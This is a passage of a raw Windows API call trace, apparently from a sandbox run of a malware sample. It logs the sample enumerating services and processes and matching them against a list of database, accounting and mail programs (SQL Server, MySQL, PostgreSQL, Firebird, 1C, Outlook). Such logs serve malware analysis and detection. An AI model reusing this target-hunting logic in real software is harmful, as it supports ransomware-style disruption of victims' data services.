returned 1 [0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.004] lstrlenW (lpString="Netman") returned 6 [0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0166.004] lstrlenW (lpString="netprofm") returned 8 [0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.004] lstrlenW (lpString="NlaSvc") returned 6 [0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.004] lstrlenW (lpString="nsi") returned 3 [0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.005] lstrlenW (lpString="PcaSvc") returned 6 [0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.005] lstrlenW (lpString="PlugPlay") returned 8 [0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.005] lstrlenW (lpString="Power") returned 5 [0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.005] lstrlenW (lpString="ProfSvc") returned 7 [0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.006] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.006] lstrlenW (lpString="RpcSs") returned 5 [0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.006] lstrlenW (lpString="SamSs") returned 5 [0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.006] lstrlenW (lpString="Schedule") returned 8 [0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.007] lstrlenW (lpString="SENS") returned 4 [0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.007] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.007] lstrlenW (lpString="Spooler") returned 7 [0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.007] lstrlenW (lpString="SysMain") returned 7 [0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.008] lstrlenW (lpString="Themes") returned 6 [0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.008] lstrlenW (lpString="TrkWks") returned 6 [0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0166.008] lstrlenW (lpString="UxSms") returned 5 [0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0166.009] lstrlenW (lpString="WdiServiceHost") returned 14 [0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0166.009] lstrlenW (lpString="WdiSystemHost") returned 13 [0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0166.009] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0166.009] lstrlenW (lpString="Winmgmt") returned 7 [0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0166.009] lstrlenW (lpString="WPDBusEnum") returned 10 [0166.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.010] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0166.010] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0166.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0166.010] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0166.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0166.014] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.014] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.014] lstrlenW (lpString="System") returned 6 [0166.014] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0166.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0166.015] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0166.015] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0166.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0166.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0166.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0166.015] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.015] lstrlenW (lpString="smss.exe") returned 8 [0166.015] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0166.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0166.015] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.016] lstrlenW (lpString="csrss.exe") returned 9 [0166.016] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.016] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.016] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0166.016] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.017] lstrlenW (lpString="wininit.exe") returned 11 [0166.017] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0166.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0166.017] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.017] lstrlenW (lpString="csrss.exe") returned 9 [0166.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.018] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.018] lstrlenW (lpString="winlogon.exe") returned 12 [0166.018] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.019] lstrlenW (lpString="services.exe") returned 12 [0166.019] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.019] lstrlenW (lpString="lsass.exe") returned 9 [0166.019] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.020] lstrlenW (lpString="lsm.exe") returned 7 [0166.020] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.020] lstrlenW (lpString="svchost.exe") returned 11 [0166.020] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.021] lstrlenW (lpString="svchost.exe") returned 11 [0166.021] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.021] lstrlenW (lpString="svchost.exe") returned 11 [0166.021] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.022] lstrlenW (lpString="svchost.exe") returned 11 [0166.022] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.023] lstrlenW (lpString="svchost.exe") returned 11 [0166.023] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.023] lstrlenW (lpString="audiodg.exe") returned 11 [0166.023] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.024] lstrlenW (lpString="svchost.exe") returned 11 [0166.024] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.024] lstrlenW (lpString="explorer.exe") returned 12 [0166.024] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.025] lstrlenW (lpString="dwm.exe") returned 7 [0166.025] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.025] lstrlenW (lpString="svchost.exe") returned 11 [0166.025] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0166.026] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0166.026] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.026] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.026] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.027] lstrlenW (lpString="reader_sl.exe") returned 13 [0166.027] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.027] lstrlenW (lpString="svchost.exe") returned 11 [0166.027] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.028] lstrlenW (lpString="taskhost.exe") returned 12 [0166.028] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.028] lstrlenW (lpString="dllhost.exe") returned 11 [0166.028] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.029] lstrlenW (lpString="taskhost.exe") returned 12 [0166.029] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0166.030] lstrlenW (lpString="consent.exe") returned 11 [0166.030] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.030] lstrlenW (lpString="dllhost.exe") returned 11 [0166.030] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0166.031] CloseHandle (hObject=0x3d0) returned 1 [0166.031] Sleep (dwMilliseconds=0x1f4) [0166.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0166.646] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0166.646] GetLastError () returned 0xea [0166.646] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0166.646] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0166.647] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0166.647] lstrlenW (lpString="Appinfo") returned 7 [0166.647] 